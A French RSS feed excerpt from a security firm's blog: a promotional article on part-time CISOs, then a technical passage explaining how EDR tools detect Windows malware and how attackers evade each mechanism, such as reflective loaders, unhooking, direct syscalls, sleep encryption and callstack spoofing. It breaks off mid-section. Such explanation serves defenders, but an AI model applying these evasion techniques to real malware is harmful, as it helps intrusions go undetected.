]]></content:encoded></item><item><title><![CDATA[Le RSSI à temps partagé : l’atout stratégique des entreprises en mouvement]]></title><description><![CDATA[Dans un monde où la cybersécurité est devenue un enjeu vital, toutes les entreprises ne disposent pas des ressources pour recruter un RSSI à plein temps. Pourtant, structurer la sécurité des systèmes d'information, se conformer aux exigences réglemen...]]></description><link>https://blog.login-securite.com/le-rssi-a-temps-partage-latout-strategique-des-entreprises-en-mouvement</link><guid isPermaLink="true">https://blog.login-securite.com/le-rssi-a-temps-partage-latout-strategique-des-entreprises-en-mouvement</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Thu, 01 May 2025 22:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754310721605/e1fca502-23c5-4b91-88e3-7e14f07d46b5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans un monde où la cybersécurité est devenue un enjeu vital, toutes les entreprises ne disposent pas des ressources pour recruter un RSSI à plein temps. Pourtant, structurer la sécurité des systèmes d'information, se conformer aux exigences réglementaires et piloter efficacement les risques cyber sont des nécessités, quel que soit le niveau de maturité. C’est précisément dans ce contexte que le modèle du RSSI à temps partagé prend toute sa valeur.</p>
<h2 id="heading-son-role"><strong>Son rôle</strong></h2>
<p>Le RSSI, ou Responsable de la Sécurité des Systèmes d’Information, est une fonction clé au sein des organisations modernes.</p>
<p>Son rôle ? Garantir la protection du système d'information contre les risques numériques, tout en accompagnant la transformation numérique de l’entreprise. Il ne s'agit pas simplement de gérer les incidents : le RSSI anticipe, structure, pilote et transforme.</p>
<p>Le RSSI à temps partagé peut avoir ce rôle clé dans l’entreprise.  </p>
<p>Il offre aux organisations un leadership expérimenté, à la fois stratégique et opérationnel, sans les contraintes financières d’un poste permanent.</p>
<p>Ce modèle répond à une exigence moderne : faire plus, mieux, et avec agilité.</p>
<p>Le RSSI à temps partagé intervient quelques jours par mois (2 jours minimum), en présentiel ou à distance ; en mode hybride, il s’adapte ; avec la capacité d'impulser une dynamique forte, de structurer les actions, et d’élever le niveau global de maîtrise cyber.</p>
<p>Il ne se contente pas de suivre les opérations, il n’a pas une seule casquette mais plusieurs à son actif : il donne le cap, crée de la cohérence, et accompagne les dirigeants dans la transformation numérique de manière pragmatique et résolument tournée vers les résultats.</p>
<p>Sa force réside dans la combinaison de plusieurs leviers :</p>
<ul>
<li><p>Une vision stratégique claire,</p>
</li>
<li><p>Une supervision opérationnelle rigoureuse,</p>
</li>
<li><p>Une capacité à élaborer et piloter les budgets cybersécurité</p>
</li>
<li><p>Une posture de leader capable de développer les équipes internes.</p>
</li>
<li><p>Il intervient également comme interlocuteur privilégié auprès des parties prenantes : direction générale, métiers, partenaires, clients. Il sait parler au COMEX, traduire les enjeux techniques en décisions business, rassurer, mobiliser, embarquer.</p>
</li>
</ul>
<p>Dans un environnement tendu, il prend les commandes en cas de crise, sécurise la reprise d’activité et transforme l’urgence en opportunité d’amélioration.</p>
<p>Attention, son rôle ne s’arrête pas à la gestion des incidents : il accompagne également les transformations de fond, anticipe les tendances et facilite le changement en douceur.</p>
<p>Il pilote souvent des prestations complémentaires utiles (pentests, SOC, PSSI, etc.)</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">En bref : c’est la cybersécurité sur-mesure, au bon dosage, au bon moment.</div>
</div>

<h2 id="heading-pourquoi-choisir-un-rssi-a-temps-partage"><strong>Pourquoi choisir un RSSI à temps partagé ?</strong></h2>
<p>L’un de ses atouts majeurs est sa capacité à prendre du recul.</p>
<p>En tant qu’acteur partiellement extérieur à l’organisation, il conserve une objectivité précieuse. Il n’est pas enfermé dans les routines internes, ce qui lui permet de poser les bonnes questions, d’identifier les angles morts et de proposer des orientations qui sortent des sentiers battus.</p>
<p>Il devient ainsi un véritable partenaire stratégique, le fameux « sparring partner » du dirigeant, capable de concilier exigence de résultats et pragmatisme de terrain.</p>
<h3 id="heading-quels-sont-ses-super-pouvoirs"><strong>Quels sont ses super-pouvoirs ?</strong></h3>
<ul>
<li><p>Un audit de maturité du SI, avec un plan d’action clair sur 2 à 3 ans</p>
</li>
<li><p>Une analyse de risques (ex : méthode EBIOS-RM ANSSI)</p>
</li>
<li><p>Diagnostic de la situation actuelle, définition d’un plan d’action réaliste sur plusieurs années, mise à disposition de livrables clairs (comme une PSSI ou une charte de sécurité), accompagnement de la gouvernance et montée en compétence des équipes.</p>
</li>
<li><p>Il agit également comme un catalyseur : une fois les priorités posées, il enclenche une dynamique vertueuse, capable d’ouvrir sur d'autres projets structurants comme la mise en place d’un SOC, la réalisation de tests d’intrusion, le renforcement des outils de pilotage ou encore le déploiement de formations sur mesure avec une sensibilisation des directions et équipes à la culture cyber</p>
</li>
</ul>
<p>Un relais pour déployer des projets cyber structurants</p>
<ul>
<li>Une restitution COMEX claire et impactante</li>
</ul>
<p>Dans un contexte où les entreprises cherchent à se transformer sans exploser leurs coûts, le RSSI à temps partagé s’impose comme une alternative crédible, agile et durable. Il permet de bénéficier d’un haut niveau de compétence, au bon moment et au bon rythme, sans avoir à supporter le coût d’un recrutement permanent. C’est une réponse adaptée aux besoins des startups en phase de croissance, des PME en structuration, ou encore des groupes qui souhaitent faire évoluer leur gouvernance cyber de manière progressive et efficace.</p>
<h2 id="heading-chez-loginsecurite"><strong>Chez LOGIN·SÉCURITÉ ?</strong></h2>
<p>Nous accompagnons depuis plusieurs années des entreprises de toutes tailles dans cette démarche. Notre équipe GRC propose un accompagnement complet, depuis l’évaluation initiale jusqu’à la mise en œuvre des projets, avec un suivi dans le temps et une montée en maturité mesurable.</p>
<p>Le RSSI à temps partagé n’est pas une variable d’ajustement. C’est un levier stratégique. Un partenaire de confiance. Un catalyseur de transformation.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">🎯</div>
<div data-node-type="callout-text"><strong>Chez Login Sécurité, nous croyons que la cybersécurité doit être sur-mesure.</strong></div>
</div>

<p>Nos RSSI à temps partagé accompagnent des organisations de toutes tailles pour :</p>
<ul>
<li><p>Évaluer leur niveau de maturité</p>
</li>
<li><p>Mettre en place une gouvernance efficace</p>
</li>
<li><p>Déployer des projets structurants</p>
</li>
<li><p>Sensibiliser les équipes et la direction</p>
</li>
<li><p>Restituer de façon claire les enjeux au COMEX</p>
</li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">📢</div>
<div data-node-type="callout-text">Envie d’en parler ou d’avoir un retour d’expérience ? Contactez-nous <a target="_self" href="http://support@login-securite.com"><strong>ici</strong> !</a></div>
</div>]]></content:encoded></item><item><title><![CDATA[Les EDR, mode d’emploi]]></title><description><![CDATA[Le but de cet article est d’exposer l’ensemble des sources de détection employées aujourd’hui par les solutions existantes d’EDR ainsi que leurs limitations, et, dans un second temps, de mettre en comparaison ces éléments avec les détections pouvant ...]]></description><link>https://blog.login-securite.com/les-edr-mode-demploi</link><guid isPermaLink="true">https://blog.login-securite.com/les-edr-mode-demploi</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 10 Feb 2025 23:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754311055959/57d05c65-8048-43d8-908c-103dfc926d8f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Le but de cet article est d’exposer l’ensemble des sources de détection employées aujourd’hui par les solutions existantes d’EDR ainsi que leurs limitations, et, dans un second temps, de mettre en comparaison ces éléments avec les détections pouvant survenir lors d’un test d’intrusion typique, ainsi que de mettre en contraste avec les techniques fréquemment observées chez des acteurs malveillants, typiquement lors d’une intrusion précédent le déploiement d’un <em>ransomware.</em></p>
<p>L’article va se concentrer sur les détections sur un environnement Windows, de fichiers compilés malveillants. Cela n’inclut donc pas des sujets comme la détection de scripts PowerShell ou Python malveillants, par exemple.</p>
<p>Enfin, cela ne concerne que partiellement les applications en code managé (.NET), car ces applications ne sont pas directement compilées en code natif, seulement en code intermédiaire (en général).</p>
<h2 id="heading-lanalyse-statique"><strong>L’analyse statique</strong></h2>
<p>La fonctionnalité d’analyse statique est la fonctionnalité de détection la plus connue des solutions d’antivirus et d’EDR. Il s’agit de la reconnaissance de <em>patterns</em> connus comme appartenant à du code malveillant, suite à une analyse manuelle. Ces <em>patterns</em> sont principalement de deux types différents, soit des chaînes de caractères ou des données bien spécifiques. Par exemple, le motif présent au sein de mimikatz dispose de nombreuses signatures :</p>
<pre><code class="lang-bash">.<span class="hljs-comment">#####. mimikatz 2.0</span>
.<span class="hljs-comment">## ^ ##.</span>
<span class="hljs-comment">## / \ ## /* * *</span>
<span class="hljs-comment">## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )</span>
<span class="hljs-string">'## v ##'</span> https://blog.gentilkiwi.com/mimikatz (oe.eo)
<span class="hljs-string">'#####'</span> with 13 modules * * */
</code></pre>
<p>L’autre type de <em>patterns</em> est une suite d’instructions assembleur bien spécifique à ce programme malveillant.</p>
<p>Un format universel permettant de se partager ce genre de règle des détection a été créé pour cela : le format Yara.</p>
<pre><code class="lang-bash">rule XorExample2
{
    strings:
        <span class="hljs-variable">$xor_string_00</span> = <span class="hljs-string">"This program cannot"</span>
        <span class="hljs-variable">$xor_string_01</span> = <span class="hljs-string">"Uihr!qsnfs`l!b`oonu"</span>
        <span class="hljs-variable">$xor_string_02</span> = <span class="hljs-string">"Vjkq\"rpmepco\"acllmv"</span>
        // Repeat <span class="hljs-keyword">for</span> every single byte XOR
    condition:
        any of them
}
</code></pre>
<p>La principale limitation de cette analyse statique, est qu’elle est contournée par des <em>reflective loaders</em>. Ce sont de petits programmes, dont le rôle est d’exécuter en mémoire un plus gros programme malveillant pour lequel il existe des signatures connues. Comme c’est le <em>reflective loader</em> qui charge le programme final, il est possible de chiffrer ou d’encoder au préalable le programme malveillant final, cassant ainsi les signatures et rendant les règles de détection inefficaces, le <em>reflective loader</em> se chargeant de déchiffrer ou décoder le programme final juste avant son exécution.</p>
<p>Il est possible tenter de détecter statistiquement des anomalies. Par exemple, si l’exécutable contient une grande zone mémoire ayant une forte <a target="_blank" href="https://fr.wikipedia.org/wiki/Entropie_de_Shannon"><strong>entropie de Shannon</strong></a>, cela pourrait indiquer la présence d’un contenu chiffré, mais il est simple de baisser cette entropie, soit en ajoutant des données redondantes (par exemple, de nombreux zéros), soit en séparant le contenu chiffré dans un fichier séparé.</p>
<h2 id="heading-lanalyse-dynamique"><strong>L’analyse dynamique</strong></h2>
<h4 id="heading-sandboxing"><strong>Sandboxing</strong></h4>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67507af1094dbe2a9eb2ca61_sandbox.jpeg" alt="sandbox" /></p>
<p>On met évidemment une image de bac à sable pour illustrer</p>
<p>Afin de contourner le problème que posent les <em>reflective loaders</em>, une première solution qui a été mise en place est de récupérer l’exécutable en question, et de l’exécuter sous un hyperviseur sur une machine tierce, généralement hébergée sur un <em>cloud</em>. Cela permet d’observer le comportement, notamment le trafic réseau peu après le lancement de l’application.</p>
<p>Cela a une grosse limitation : ce <em>sandboxing</em> se déroulant avant l’exécution réelle du programme, cette analyse ne peut pas être très longue. Ainsi, pour un auteur de <em>malware</em>, il est possible d’abuser de ces différences de comportements. Par exemple, il est possible de vérifier que le nom de domaine de la machine sur laquelle le code correspond bien à celui attendu, ou encore d’effectuer un <em>Sleep</em> de quelques minutes avant d’exécuter le code malveillant.</p>
<p>Certaines plateformes tentent de modifier l’environnement pour que les fonctions telles que <em>Sleep</em> retournent immédiatement. Cela n’est toutefois que peu efficace, car il suffit de ne pas appeler de bibliothèque tierce pour <em>Sleep</em>, et de simplement effectuer des opérations prenant du temps à s’exécuter, par exemple, un algorithme mathématique de calcul (nombre premiers, multiplications matricielles, etc.) mal optimisés.</p>
<h4 id="heading-userland-hooking"><strong>Userland hooking</strong></h4>
<p>La première méthode d’analyse du comportement dynamique à être apparue est celle du <em>hooking</em>.<br />Le principe est de remplacer la première instruction d’une fonction par un saut inconditionnel vers une fonction d’analyse par l’EDR, puis, si l’exécution est autorisée, un second saut qui retourne vers la fonction originale, après avoir exécuté les instructions qui ont été réécrites par le saut.<br />Certaines implémentations d’EDR réécrivent la <a target="_blank" href="https://inbits-sec.com/posts/in-memory-unhooking/"><strong>seconde instruction</strong></a> plutôt que la première, ce qui est plus difficile à détecter.</p>
<p>Par exemple, la fonction <code>NtOpenProcess</code> pourrait initialement ressembler à ceci :</p>
<pre><code class="lang-javascript"><span class="hljs-number">0</span>:<span class="hljs-number">000</span>&gt; u ntdll!NtOpenProcess
ntdll!NtOpenProcess:
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe00 4c8bd1 mov r10,rcx
00007ffc`</span><span class="hljs-number">74</span>d6fe03 b826000000 mov eax,<span class="hljs-number">26</span>h
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe08 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`</span><span class="hljs-number">7</span>ffe0308)],<span class="hljs-number">1</span>
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe10 7503 jne ntdll!NtOpenProcess+0x15 (00007ffc`</span><span class="hljs-number">74</span>d6fe15)
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe12 0f05 syscall
00007ffc`</span><span class="hljs-number">74</span>d6fe14 c3 ret
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe15 cd2e int 2Eh
00007ffc`</span><span class="hljs-number">74</span>d6fe17 c3 ret
</code></pre>
<p>En comparaison, la fonction une fois <em>hookée</em> ressemble à ceci :</p>
<pre><code class="lang-javascript"><span class="hljs-number">0</span>:<span class="hljs-number">017</span>&gt; u ntdll!NtOpenProcess L10
ntdll!NtOpenProcess:
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe00 e97b339aa8 jmp [redacted.dll]+0x63180 (00007ffc`</span><span class="hljs-number">1</span>d713180)
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe05 0000 add byte ptr [rax],al
00007ffc`</span><span class="hljs-number">74</span>d6fe07 <span class="hljs-number">00</span>f6 add dh,dh
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe09 0425 add al,25h
00007ffc`</span><span class="hljs-number">74</span>d6fe0b <span class="hljs-number">0803</span> or byte ptr [rbx],al
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe0d fe ???
00007ffc`</span><span class="hljs-number">74</span>d6fe0e <span class="hljs-number">7</span>f01 jg ntdll!NtOpenProcess+<span class="hljs-number">0x11</span> (<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe11)
00007ffc`</span><span class="hljs-number">74</span>d6fe10 <span class="hljs-number">7503</span> jne ntdll!NtOpenProcess+<span class="hljs-number">0x15</span> (<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe15)
00007ffc`</span><span class="hljs-number">74</span>d6fe12 <span class="hljs-number">0</span>f05 syscall
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe14 c3 ret
00007ffc`</span><span class="hljs-number">74</span>d6fe15 cd2e int <span class="hljs-number">2</span>Eh
<span class="hljs-number">00007</span>ffc<span class="hljs-string">`74d6fe17 c3 ret</span>
</code></pre>
<p>Il faut uniquement prêter attention à la première instruction, les autres ne sont pas désassemblées correctement car le <code>jmp</code> a réécrit une partie des instructions suivantes.</p>
<p>Cette première instruction a été remplacée par une instruction <code>jmp</code>, un saut inconditionnel, qui permettra de journaliser l’appel qui est fait à la fonction, les arguments qui sont utilisés, le <em>thread</em> appellant, etc. Cela permet d’observer le comportement de l’application lors de son exécution.</p>
<p>Bien que l’on entende très fréquemment parler de <em>hooks</em> pour les appels systèmes, comme <code>NtOpenProcess</code> dans l’exemple ci-dessus, ce ne sont pas les seules fonctions à se faire <em>hooker</em>. En particulier, il est intéressant pour un EDR de <em>hooker</em> les fonctions de bibliothèques Windows dont le comportement est non-trivial à reproduire.<br />On retrouve fréquemment des <em>hooks</em> sur les fonctions liées au chargement dynamique de code (<code>LoadLibrary</code>, <code>LdrLoadDll</code>, <code>GetProcAddress</code>, <code>LdrGetProcedureAddress</code>, etc), ou encore les fonctions liées aux communications HTTP (les différentes fonctions de <code>wininet.dll</code>, <code>winhttp.dll</code>)</p>
<p>Idéalement, les solutions EDR préfereraient pouvoir <em>hooker</em> les appels système du côté <em>kernel</em>, car un programme utilisateur standard malveillant ne pourrait pas interférer avec ces <em>hooks</em>.<br />Cela n’est toutefois pas employé par la majorité des solutions, car Windows tente d’interdire aux <em>drivers</em> de faire cela (bien que ça n’empêche pas certaines solutions <a target="_blank" href="https://the-deniss.github.io/posts/2022/12/08/hooking-system-calls-in-windows-11-22h2-like-avast-antivirus.html"><strong>à y recourir</strong></a> via des contournements connus, mais instables).</p>
<p>Un malware tentant d’échapper à la visibilité de ces <em>hooks</em> tentera alors d’interférer ceux-ci. Il est intéressant de procéder différemment pour les <em>hooks</em> sur les <em>syscalls</em> et pour les fonctions des autres bibliothèques.</p>
<p>Tout d’abord, concernant les <em>syscalls</em>, il est à noter que toutes les fonctions servant à les appeler ont le même préfixe, à savoir :</p>
<pre><code class="lang-javascript">mov r10,rcx
mov eax,<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">numéro</span> <span class="hljs-attr">syscall</span>&gt;</span>
test byte ptr [SharedUserData+0x308],1
jne rip+0x5
syscall</span>
</code></pre>
<p>Une subtilité est que le numéro du <em>syscall</em> pour un <em>syscall</em> donné n’est pas constant entre les versions de Windows.</p>
<p>Par conséquent, un <em>malware</em> voulant éviter le <em>hook</em>, doit retrouver le numéro du <em>syscall</em> de la fonction qui l’intéresse, refaire les premières instructions, puis sauter sur l’instruction <em>syscall</em> directement.<br />Il existe différentes techniques pour récupérer dynamiquement les numéros des appels système, dont certains sont recensées dans <a target="_blank" href="https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/"><strong>cet article</strong></a>.</p>
<p>Pour que les <em>hooks</em> s’appliquent à des fonctions de bibliothèque n’étant pas des appels systèmes, le préfixe de ces fonctions n’est pas constant, il n’est donc pas aussi simple de le retrouver. Cependant, une fois qu’il est possible d’exécuter des <em>syscalls</em> sans passer par les <em>hooks</em>, il est possible d’effectuer des <em>syscalls</em> pour lire les fichiers DLL sur disque, puis de les <em>parser</em>, pour récupérer les premiers octets des fonctions, qui ont été écrasés par le <code>jmp</code>.</p>
<p>Certaines implémentations de <em>unhooking</em> vont ensuite réécrire le code contenant le <code>jmp</code> par les instructions originales pour enlever le <em>hook</em> placé par la solution d’EDR, mais cela peut être détecté par une vérification de l’intégrité du <em>hook</em>.</p>
<h3 id="heading-memory-scanning"><strong>Memory Scanning</strong></h3>
<p>Afin de tenter de pallier aux limites des détections statiques, les solutions d’EDR peuvent mettre en place des « scans mémoire » pour essayer de repérer un programme malveillant connu une fois qu’il a été chargé en mémoire par le <em>reflective loader</em>, puisque le programme malveillant ne peut pas être chiffré ou encodé lors de son exécution.</p>
<p>Cela peut avoir lieu soit périodiquement (par exemple, toutes les quelques heures sur l’ensemble des processus d’une machine), ou bien sur un processus spécifique, suite à des actions suspectes.<br />La limitation principale est qu’effectuer ce genre de scan de mémoire sur l’ensemble de la mémoire d’un processus peut être très consommateur en performances, cela ne peut donc être fait en permanence. Les solutions d’EDR tentent de limiter la mémoire d’un processus qui est scanné, par exemple en ne ciblant que la mémoire exécutable du processus allouée dynamiquement.</p>
<p>Seuls les malwares de type <em>Command And Control</em> (C2) sont affectés par ce genre de détection, car ce sont les seuls à demeurer suffisamment longtemps en mémoire pour être affectés.<br />Pour contourner ce vecteur de détections, puisque la majorité du temps ces programmes <em>sleepent</em> en attendant le prochain intervalle de temps afin de vérifier s’il y a des nouvelles commandes à exécuter : ils peuvent simplement se re-chiffrer en mémoire lors de leurs périodes de <em>sleep</em> puis se déchiffrer avant de reprendre leur exécution. Lorsque les scans mémoire surviendront, les EDR ne verront alors que des données chiffrées – qui ne correspondent pas à des <em>patterns</em> connus.</p>
<h3 id="heading-callbacks-kernel"><strong>Callbacks Kernel</strong></h3>
<h4 id="heading-process-notification-callbacks"><strong>Process Notification Callbacks</strong></h4>
<p>Puisque les <em>drivers</em> des solutions d’EDR ne sont pas en mesure de mettre en place des <em>hooks</em> côté <em>kernel</em>, Microsoft a mis en place des <em>callbacks</em>, permettant d’informer les <em>drivers</em> de certains événements. Les plus connus sont les <em>callbacks</em> liés aux processus, enregistrés via la famille des API <code>PsSetCreateProcessNotifyRoutine</code>.</p>
<p>Ces <em>callbacks</em> servent fréquemment à injecter au sein du processus une DLL qui sera en charge de mettre en place le <em>hooking userland</em>, comme vu précédemment, et ce avant l’exécution du début du processus.</p>
<p>Ces <em>callbacks</em> servent également pour des politiques que certains EDR peuvent avoir, notamment, empêcher des processus inconnus de créer des processus fils.<br />Cela sert notamment à détecter le comportement de commandes de type <code>shell</code> sur la plupart des C2 existants (comme par exemple Cobalt Strike) qui sert à exécuter des commandes directement en créant un processus fils, ou bien de la post-exploitation utilisant le principe de <strong>fork &amp; run</strong>, dans lequel un processus fils légitime est créé, le contenu de l’exécutable est remplacé en mémoire par un module de post exploitation, et l’exécution est reprise.</p>
<p>Ces <em>callbacks</em> ne sont pas contournables par un <em>malware</em>. Toutefois, la solution pour éviter ces politiques est de simplement tout exécuter au sein du même processus. En pratique, cela se traduit par le développement de <em>Beacon Object Files</em>, qui est un moyen spécifique de développer des modules de post-exploitation qui seront exécutés en mémoire au sein du même processus.</p>
<h4 id="heading-image-load-notification-callback"><strong>Image Load Notification callback</strong></h4>
<p>Ces <em>callbacks</em> sont invoqués lors de l’appel en <em>userland</em> à la fonction <code>NtMapViewOfSection</code>, qui sert à <em>mapper</em> en mémoire l’objet <em>Section</em> correspondant à la DLL qui est en train d’être chargée.</p>
<p>En soit, il est possible de ne pas invoquer ces <em>callbacks</em>, en réimplémentant l’ensemble du <em>mapping</em> d’une DLL en mémoire. Toutefois, cela est d’une complexité importante à mettre en place, et implique d’avoir des zones mémoires non associées à des fichiers sur disque. Il s’agit donc d’une décision à prendre pour un <em>malware</em>.</p>
<p>Il existe un outil tel quel <a target="_blank" href="https://github.com/bats3c/DarkLoadLibrary"><strong>DarkLoadLibrary</strong></a>, qui réimplémente manuellement la mise en mémoire de la DLL, toutefois il ne s’agit que d’une implémentation partielle.<br />En effet, la DLL est mise en mémoire manuellement, mais ses dépendances sont chargées via un appel à <code>LoadLibraryA</code>, qui va déclencher des appels à <code>NtMapViewOfSection</code>.</p>
<p>Cela peut toutefois servir pour échapper à certaines détections qui se basent sur ces éléments, comme par exemple, <a target="_blank" href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml"><strong>certaines règles</strong></a> de détection de post-exploitation.</p>
<h4 id="heading-object-callback"><strong>Object callback</strong></h4>
<p>Les <em>Object Callback</em> sont des <em>callbacks</em> enregistrés auprès de l’<em>Object Manager</em> via l’API <code>ObRegisterCallbacks</code>, qui sont invoqués avant ou après une opération sur un <code>HANDLE</code> d’un type spécifié.</p>
<p>En particulier, les solutions d’EDR mettent souvent en place ce genre de <em>callback</em> pour les objets de type <em>Process</em> et <em>Thread</em>. Cela permet, entre autres, d’observer la demande de création d’un <code>HANDLE</code> vers le processus <code>lsass.exe</code> : si la demande contient un droit d’accès tel que <code>PROCESS_VM_READ</code>, soit tuer le processus ayant fait la demande, soit simplement retirer ce droit – afin d’empêcher les <em>dumps</em> de <code>lsass.exe</code>.</p>
<h4 id="heading-operations-io-filesystem-network"><strong>Opérations IO (Filesystem, Network)</strong></h4>
<p>Par ailleurs, les <em>drivers</em> de solution d’EDR comportent souvent un <em>driver</em> de type <em>minifilter</em>. Ce sont des <em>drivers</em> qui vont s’enregistrer auprès du <em>filter manager</em>, pour, lorsqu’un requête IO (création ou modification de fichiers sur disque, entre autres) est effectuée, obtenir la visibilité dessus et éventuellement prendre des actions.</p>
<p>Cela est utilisé pour de nombreux usages, par exemple, pour détecter qu’un nouveau fichier ayant une extension <code>.exe</code> est créé et qu’il faut donc effectuer une analyse statique. Cela peut aussi servir à bloquer un exécutable dont l’analyse a révélé qu’il était malveillant, avant que le fichier ne soit supprimé.</p>
<p>Enfin les <em>drivers</em> incluent des <em>Callout Drivers</em>, qui permettent d’observer le contenu du trafic réseau.<br />Cela peut également permettre de détecter certains <em>patterns</em> connus au sein d’opérations réseau, par exemple, un <em>meterpreter</em> n’utilisant pas de chiffrement peut se faire détecter de cette façon, car il a un protocole bien défini et repérable.</p>
<h3 id="heading-etw"><strong>ETW</strong></h3>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/67507b91131a01784a25d55e_event_viewer-1024x639.png" alt /></p>
<p>Source : <a target="_blank" href="https://commons.wikimedia.org/wiki/File:Berkas_Log_Windows.png"><strong>wikipedia</strong></a></p>
<p>ETW, l’acronyme de <em>Event Tracing For Windows</em>, est le mécanisme de Windows permettant de collecter informations sur l’exécution de différents composants de l’OS.</p>
<p>Bien qu’initialement conçu plus pour pouvoir identifier la source de problèmes dans les applications Windows, son usage peut également servir à des solutions d’EDR.</p>
<p>ETW est architecturé avec des <em>providers</em>, qui sont différentes sources qui fournissent des types différents d’informations, par exemple, sur un type d’opérations réseau spécifique (HTTP, LDAP, etc.) ou encore sur les authentifications Windows.</p>
<p>Des <em>consumers</em> peuvent ensuite venir s’attacher à plusieurs <em>providers</em> dans une <em>Tracing Session</em>, qui permettra de collecter les événements générés par les différentes sources, soit en instantané, soit en différé.</p>
<p>Un exemple parlant de <em>consumer</em> ETW est l’application <em>Event Viewer</em> sur Windows, qui affiche dans une interface graphique les événements de certains <em>providers</em>.</p>
<p>Ces événements sont générés par différentes sources. Certaines sont situées en <em>userland</em>, et d’autres en <em>kernelland</em>.</p>
<p>Par exemple, si un processus fait des requêtes LDAP, via la bibliothèque <code>Wldap32.dll</code>, cela génèrera des événements ETW. Toutefois, ceux-ci seront générés en <em>userland</em>, via les appels système <code>NtTraceEvent</code> et <code>NtTraceControl</code>. Comme ceux-ci sont générés en <em>userland</em>, un <em>malware</em> pourrait modifier l’une de ces fonctions ou l’une des fonctions appelantes, pour ne pas faire l’appel à ces fonctions, ce qui permettrait d’occulter cette télémétrie.</p>
<p>Toutefois, d’autres événements sont générés au niveau du <em>kernelland</em>, qui eux ne peuvent pas être occultés par un <em>malware</em>.</p>
<p>En particulier, parmi ces <em>providers</em>, on peut citer <code>Microsoft-Windows-Threat-Intelligence</code>, qui fournit des événements liés à la gestion de la mémoire virtuelle et des <em>threads</em> d’un processus. Entre autres, cela inclut les modifications des permissions des pages mémoires.</p>
<p>Les événements sont divisés en deux catégories : ceux locaux, et ceux cross-processus. Les événements cross-processus peuvent aider à identifier les injections de processus, alors que les événements locaux peuvent aider à identifier les <em>reflective loader</em>s, entre autres.</p>
<p>Toutefois, la difficulté principale liée à cette télémétrie est le nombre d’événements, et le taux de faux positifs : par exemple sur Windows, toutes les applications en .NET utilisent du code dynamique, et donc des allocations de code RWX. Similairement, les injections de code sont également relativement fréquentes sur des environnements Windows.</p>
<p><a target="_blank" href="https://web.archive.org/web/20230322093557/http://blog.redbluepurple.io/windows-security-research/kernel-tracing-injection-detection"><strong>Cet article</strong></a> donne le détail de ces événements, ainsi que les limitations et <a target="_blank" href="https://web.archive.org/web/20230322083937/https://blog.redbluepurple.io/windows-security-research/bypassing-injection-detection"><strong>assouplissements qui sont en place du fait du nombre trop important de faux positifs</strong></a>.</p>
<h3 id="heading-lanalyse-de-la-callstack"><strong>L’analyse de la callstack</strong></h3>
<p>Les événements ETW sont également intéressants, puisqu’ils contiennent les informations de la <em>callstack</em> du <em>thread</em> lorsque l’événement a été enregistré.</p>
<p>Par conséquent, si un <em>reflective loader</em> a été utilisé, une zone mémoire a été allouée dynamiquement pour contenir le <em>payload</em> final, celui-ci a été copié dedans, puis la zone mémoire a été rendue exécutable.</p>
<p>Cette zone mémoire n’est donc pas associée à un fichier sur disque, car elle a été allouée dynamiquement. Ainsi, si une telle zone mémoire apparaît dans la <em>callstack</em> d’un processus lors d’un événement ETW, cela peut être considéré comme probablement malveillant.</p>
<p>Il existe trois grands types de méthodes pour avoir une <em>callstack</em> ne faisant pas apparaître de zone mémoire non associée à un fichier sur disque.</p>
<p>La première consiste à utiliser des <em>threads</em> différents, qui ne contiennent pas de zone exécutable non associée à un fichier sur disque dans leur <em>callstack</em>. En particulier, sur Windows, il existe le <em>Thread Pool</em>, qui consiste en un ensemble de <em>threads</em> managés, qui sont présents dans l’ensemble des processus, et qui permettent d’effectuer des actions en différé. Il est donc possible de demander à ces <em>threads</em> d’effectuer des actions qui nous intéressent, par exemple des appels systèmes générant de la télémétrie ETW. Comme ce n’est pas dans ces <em>threads</em> que s’exécute le <em>payload</em> principal, la zone non associée à un fichier sur disque n’apparaît pas dans la télémetrie ETW.</p>
<p>Cette technique a une limitation principale : les appels systèmes ne sont pas faits dans le même <em>thread</em>. Pour un <em>payload</em> de type C2, il n’est donc pas possible de faire de cette façon l’appel système pour faire <em>sleep</em> l’agent. De plus, des opérations spécifiques à un <em>thread</em> ne peuvent pas fonctionner, notamment voler un <em>token</em> Windows.</p>
<p>La seconde technique est plus difficile à implémenter : elle implique de complètement modifier sa <em>callstack</em>, pour quelle fasse uniquement apparaître des modules légitimes. Fondamentalement, la <em>callstack</em> est complètement sous le contrôle du programme en mode utilisateur, la difficulté n’est pas de faire l’appel d’une fonction avec une <em>callstack</em> arbitraire, mais de récupérer le flux d’exécution une fois que la fonction retourne.</p>
